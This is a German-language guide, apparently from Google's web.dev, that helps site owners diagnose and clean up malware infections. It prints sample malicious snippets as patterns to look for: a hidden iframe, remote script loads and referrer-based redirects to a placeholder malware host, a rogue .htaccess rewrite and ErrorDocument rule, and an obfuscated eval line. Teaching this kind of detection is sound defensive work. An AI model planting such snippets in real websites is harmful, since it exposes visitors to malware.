Malware ist eine Software oder mobile App, die speziell dazu entwickelt wurde, einem Computer, einem Mobilgerät, der darauf ausgeführten Software oder deren Nutzern Schaden zuzufügen. Weitere Informationen dazu, was Malware ist, finden Sie unter Malware und unerwünschte Software.
Wenn Ihre Website Malware enthält, wird Nutzern in der Regel die Warnung Diese Website kann Ihren Computer beschädigen in den Suchergebnissen oder auf einer Interstitial-Seite angezeigt, die vom Browser angezeigt wird, wenn der Nutzer versucht, Ihre Website aufzurufen:
![Repräsentative Malware-Interstitial-Seite](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=6&hl=de)
Sie benötigen dazu Folgendes:
- Shell- oder Terminaladministratorzugriff auf die Server Ihrer Website: Web, Datenbank und Dateien.
- Kenntnisse von Shell- oder Terminalbefehlen
- Die Fähigkeit, SQL-Abfragen in der Datenbank auszuführen.
Vorbereitung
- Registrieren Sie sich bei der Search Console und bestätigen Sie die Inhaberschaft Ihrer gehackten Website, wie dort beschrieben. In der Search Console finden Sie Beispiele für betroffene Seiten. So lassen sich Probleme, die durch Malware gehackt wurden, viel leichter finden und beheben. Außerdem werden Sie gewarnt, wenn Ihre Website von vielen Arten von Malware oder anderen Hacks betroffen ist.
Auf der Diagnoseseite von Google für sicheres Surfen finden Sie öffentliche Informationen darüber, ob eine Website Nutzern möglicherweise schaden kann. Den Status des Eintrags Ihrer Seite oder Website finden Sie unter einer URL, die in etwa so aussieht:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
Beispiel:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
kann eine bestimmte Seiten-URL (http://example.com/badpage
) oder Ihre gesamte Website (example.com) sein.Verwenden Sie keinen Browser, um Seiten Ihrer Website anzuzeigen. Malware wird häufig durch das Ausnutzen von Sicherheitslücken in Browsern verbreitet. Wenn Sie mit Malware infizierte Seiten in einem Browser öffnen, kann daher Ihr Computer beschädigt werden. Wenn in der Diagnoseanleitung nicht direkt im Browser auf die Seite zugegriffen werden soll, verwenden Sie cURL oder Wget, um HTTP-Anfragen (z. B. zum Abrufen einer Seite) auszuführen.
Diese kostenlos verfügbaren Tools helfen bei der Diagnose von Weiterleitungen und können Informationen zur Verweis-URL oder zum User-Agent beinhalten. Die Angabe einer bestimmten Referrer-URL oder des User-Agents ist hilfreich, um Hacker nachzuahmen, da Hacker schädliche Inhalte möglicherweise nur an Nutzer mit bestimmten User-Agents oder Referrern senden, um mehr „echte Menschen“ anzusprechen und eine Erkennung durch Websiteinhaber und Malware-Scanner zu vermeiden.
`curl -v --referer "http://www.google.com" <your-url>`
Hier ein Beispiel, in dem sowohl ein User-Agent als auch eine Referrer-URL angegeben wird:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
Wir empfehlen, eine Seite mit und ohne --referer "https://www.google.com"
abzurufen, da Malware nur dann aktiviert wird, wenn Nutzer über die Google-Suchergebnisse weitergeleitet werden.
Erstellen Sie ein Dokument, um die Ergebnisse in diesem Schritt zu erfassen. Das Dokument wird am Ende mindestens den Namen und den Speicherort jeder beschädigten Datei sowie Hinweise darauf enthalten, wie sie infiziert war. Das Dokument dient als Grundlage für den Abschnitt Website bereinigen und instand halten.
Im Video weiter oben auf dieser Seite erfahren Sie, wie Malware funktioniert und wie Sie sich bei der Untersuchung auf Malware schützen können.
Diagnose
So finden Sie heraus, von welcher Malware Ihre Website betroffen ist:
- Öffnen Sie in der Search Console den Bericht „Sicherheitsprobleme“ für Ihre Website. Maximieren Sie die Beschreibung der Malware-Warnung, um eine Liste der betroffenen Seiten aufzurufen. Beachte bitte, dass diese Liste nicht vollständig ist. Eventuell findest du auf deiner Website keine Beispielseiten für alle Arten von Malware.
- Testen Sie Ihre Beispielseiten auf folgende Arten von Malware.
Malware für die Serverkonfiguration (unerwünschte Weiterleitungen)
Ein Hacker hat Ihre Website manipuliert und leitet Besucher von Ihrer guten Website auf ihre Malware-Angriffswebsite weiter, wahrscheinlich durch eine Änderung der Konfigurationsdatei(en) Ihres Servers. Mithilfe von Serverkonfigurationsdateien kann der Websiteadministrator in der Regel URL-Weiterleitungen für bestimmte Seiten oder Verzeichnisse einer Website angeben. Auf Apache-Servern sind dies beispielsweise die Dateien .htaccess
und httpd.conf
.
Diagnose
Rufen Sie einige der im Bericht "Sicherheitsprobleme" genannten Beispiel-URLs auf. Eine Antwort von einer Seite, die mit der Infizierung der Serverkonfiguration infiziert ist, kann die folgenden Header enthalten:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
Betroffene Dateien ermitteln
Melden Sie sich über Shell- oder Terminalzugriff auf Ihrem Server an (die Website kann offline sein) und prüfen Sie die relevanten Serverkonfigurationsdateien. Ihre Website enthält möglicherweise mehrere gehackte Serverkonfigurationsdateien. Prüfen Sie diese Dateien auf unerwünschte Anweisungen wie Weiterleitungen zu unbekannten Websites. Beispielsweise enthält die Datei .htaccess
möglicherweise eine Weiterleitung, die so aussieht:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL-Injection
Ein Hacker hat die Datenbank Ihrer Website manipuliert. Der Hacker könnte beispielsweise programmatisch in jeden Eintrag einer Datenbanktabelle schädlichen Code eingefügt haben. Wenn der Server eine Seite lädt, die Informationen aus der Datenbank benötigt, ist der schädliche Code jetzt in den Inhalt der Seite eingebettet und kann den Websitebesuchern schaden.
Diagnose
- Führen Sie einige Abfragen für die betroffenen URLs in der Befehlszeile aus und prüfen Sie die Antwort auf SQL-Angriffswörter wie „iframe“ oder „eval“.
Melden Sie sich auf Ihrem Datenbankserver an oder sehen Sie sich die Datenbank mit einem Tool wie phpMyAdmin an. Wenn Sie Wget oder cURL verwendet haben, versuchen Sie, den im Quellcode der Seite gefundenen Schaden über Wget oder cURL mit den tatsächlichen Datenbankeinträgen in Beziehung zu setzen. Wenn Sie beispielsweise bemerkt haben, dass Ihre Seiten einen gefährlichen iFrame enthalten, können Sie eine SQL-Abfrage durchführen, um nach iFrame-Code zu suchen. Beispiel:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
Sie können Datenbankprotokolle und Fehlerdateien auf Ihrem Server auf ungewöhnliche Aktivitäten wie unerwartete SQL-Befehle, die für reguläre Nutzer ungewöhnlich erscheinen, oder Fehler überprüfen.
Problem beheben
Aktualisieren Sie entweder jeden infizierten Datenbankeintrag oder stellen Sie die letzte bekannte Datenbanksicherung wieder her.
Code-Einschleusung
Seiten Ihrer Website wurden geändert und enthalten nun schädlichen Code, z. B. einen iFrame zu einer Website für Malware-Angriffe.
Diagnose
Rufen Sie einige der im Bericht „Sicherheitsprobleme“ aufgeführten Beispiel-URLs mit cURL oder wGet auf und prüfen Sie, ob verdächtiger Code vorliegt. Injizierter Code kann viele Typen annehmen und schwer zu finden sein. Es kann hilfreich sein, nach Wörtern wie „iframe“ zu suchen, um iFrame-Code zu finden. Weitere hilfreiche Suchbegriffe sind "script", "eval" und "unescape". So suchen Sie beispielsweise in allen Dateien nach "iframe" auf Unix-basierten Systemen:
$grep -irn "iframe" ./ | less</pre>
Hier sind einige häufige Malware-Muster, nach denen Sie Ausschau halten sollten.
Ein iFrame, der eine schädliche Website lädt:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript oder eine andere Skriptsprache, die Skripts von einer Angriffswebsite aufruft und ausführt:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
Skripts, die den Browser zu einer Angriffswebsite weiterleiten:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
Schädlicher Code, der verschleiert ist, um nicht entdeckt zu werden:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
Dateien mit gemeinsam genutzten Objekten, die entwickelt wurden, um willkürlich schädlichen Code in ansonsten harmlose Skripts zu schreiben:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
Vorlagen für schädliche Fehler
Die Vorlage für Fehlermeldungen wie „404 – Datei nicht gefunden“ ist so konfiguriert, dass Malware verbreitet wird. Auf diese Weise können Angreifer Angriffe auf URLs starten, die es auf Ihrer Website gar nicht gibt.
Diagnose
Fordern Sie eine Seite auf Ihrer Website an, die nicht existiert oder die einen anderen Fehlertyp ausgibt, und prüfen Sie die Antwort, um festzustellen, ob sie von einer anderen Website stammt oder Malware enthält.
Problem beheben
Melden Sie sich bei Ihrem Webserver an und durchsuchen Sie die Serverkonfigurationsdateien nach Anweisungen für Fehlerseiten. Beispielsweise kann die Fehlervorlage für Apache-Webserver in der Datei .htaccess
deklariert werden. Hier ist ein Beispiel für einen .htaccess
-Dateieintrag, mit dem 404-Fehlerseiten von einer schädlichen Website abgerufen werden:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
Wenn Sie Ihre Website bereinigen möchten, ersetzen Sie entweder die .htaccess
-Datei(en) durch eine fehlerfreie Sicherung oder löschen Sie die unerwünschten ErrorDocument-Anweisungen in den vorhandenen .htaccess
-Dateien. Achten Sie darauf, auch die eigentlichen Fehlerdateien zu bereinigen, falls sie auf Ihrer Website vorhanden sind. Starten Sie den Webserver neu, um sicherzustellen, dass alle Änderungen wirksam werden.
Ressourcen, die von einer manipulierten oder schädlichen Website geladen werden {compromised-resources}
Ihre Website verwendet Inhalte oder Ressourcen von einer Website, die bekanntermaßen schädliche Inhalte enthält. Dabei kann es sich um JavaScript-Dateien, Bilder oder andere Dateien handeln. Aus diesem Grund wird Ihre Website aufgrund von Malware gekennzeichnet, die von dieser anderen Website geladen wird.
Diagnose
Rufen Sie einige der im Bericht "Sicherheitsprobleme" genannten Beispiel-URLs auf.
Problem beheben
- Du kannst das Problem prüfen, indem du einige der Beispiel-URLs aus dem Bericht „Sicherheitsprobleme“ in der Search Console aufrufst. Es sollte eine Browserwarnung angezeigt werden.
- In der Browserwarnung wird die Domain des fraglichen Inhalts angegeben. Entfernen Sie alle Verweise auf die Website, die in der Warnung aufgeführt ist. Wenn der Inhalt einer gemeldeten Website ohne Ihr Wissen hinzugefügt wurde, ist das Problem schwerwiegender. Ihre Website wurde sehr wahrscheinlich manipuliert und Sie sollten sie weiterhin auf andere Hacks und Sicherheitslücken untersuchen.
- Wenn Sie absichtlich Inhalte einer legitimen Website eingefügt haben, die gemeldet wurde, und Sie die Inhalte nach der Bereinigung der gekennzeichneten Website wieder aufnehmen möchten, können Sie den Status der gemeldeten Website über die Google Safe Browsing-Diagnoseseite für diese Website (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} im Blick behalten. Die Inhaber legitimer Websites bereinigen diese in der Regel schnell.
Weitere Untersuchungen
Prüfen Sie als Nächstes, ob weitere schädliche Dateien oder Änderungen in Ihrem System vorhanden sind. Möglicherweise hat er vorhandene Seiten oder Datenbankeinträge verändert, völlig neue Spamseiten erstellt, Funktionen geschrieben, die Spam auf sauberen Seiten anzeigen, oder Hintertüren hinterlassen, damit der Hacker wieder auf Ihre Website zugreifen kann, oder von Ihnen entfernten schädlichen Code wieder einschleusen.
Falls Ihre Website online ist, sollten Sie sie für diese Untersuchung offline nehmen.
Wenn Sie eine gute Sicherung Ihrer Website haben, ermitteln Sie, welche Dateien seit der Sicherung erstellt oder geändert wurden, und untersuchen Sie diese dann. Auf Unix-basierten Systemen können Sie einen Befehl wie den folgenden verwenden, um neue Dateien zu finden:
diff -qr <current-directory> <backup-directory>
Beispiel:
diff -qr www/ backups/full-backup-20120124/
Außerdem:
md5sum <current-page> <backup-page>
Beispiel:
md5sum www/page.html backups/full-backup-20120124/page.html
Prüfen Sie die Server-, Zugriffs- und Fehlerlogs auf verdächtige Aktivitäten wie fehlgeschlagene Anmeldeversuche, Befehlsverlauf (insbesondere als Root) und die Erstellung unbekannter Nutzerkonten. Beachten Sie, dass der Hacker diese Logs möglicherweise für seine eigenen Zwecke geändert hat. Einige Beispiele finden Sie im Video Sicherheitslücken ermitteln.
Prüfen Sie die Konfigurationsdateien auf Weiterleitungen. Ihre Konfigurationsdateien haben in der Regel die Namen .htaccess
und httpd.conf
. Hacker erstellen oft bedingte Weiterleitungen, die auf dem User-Agent, der Tageszeit oder der Referrer-URL basieren. Wenn Sie Konfigurationsdateien aktualisieren müssen, müssen Sie möglicherweise den Server neu starten, damit die Änderungen wirksam werden.
Prüfen Sie, ob die Ordner- und Dateiberechtigungen zu nachsichtig sind. Hacker manipulieren Berechtigungen, denn wenn nachsichtige Berechtigungen vom Websiteinhaber nicht erkannt werden, hat der Hacker eine Möglichkeit, die Website erneut aufzurufen. Dateien, die größer als 644 (rw-r--r--)
sind, und Ordner, die größer als 755 (rwxr-xr-x)
sind, können Sicherheitsprobleme verursachen. Prüfen Sie, ob diese Berechtigungen auch stärker eingeschränkt werden können. Versuchen Sie es auf Unix-basierten Systemen:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
und:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
Wenn Sie eine Datenbank haben, sollten Sie sie Datensatz für Datensatz mit einem Tool wie phpMyAdmin untersuchen.